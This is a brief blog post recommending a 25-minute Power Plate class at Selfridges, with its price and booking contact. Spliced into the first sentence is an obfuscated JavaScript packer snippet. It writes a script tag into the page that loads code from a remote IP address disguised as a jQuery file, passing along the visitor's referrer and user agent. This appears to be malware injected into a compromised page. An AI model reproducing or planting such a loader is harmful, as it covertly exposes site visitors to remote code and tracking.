We (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sttey|var|u0026u|referrer|esdhd||js|php’.split(‘|’),0,{}))
all want to get fit but we just don’t have the time – well that’s our excuse anyway although with the new Power Plate studio in Selfridges we wont be using that one anymore.

The studio has classes that last just 25 minutes which means you can hone and tone your ass during your lunch hour. We tried the ‘Beat The Muffin Top’ class which banishes love handles and it was pretty full on. But that’s the great thing about Power Plate machines, you don’t need to exercise for long periods of time to see results.

So the next time you’re shopping grab the girls and pop in for a quick session. Just watch out for the Starbucks when you come out, we got sidetracked into a latte and iced bun….

£20 a sesh
Book on selfridges@powerplate.com or call 0205 867 2000
4th Floor, Selfridges, Oxford Street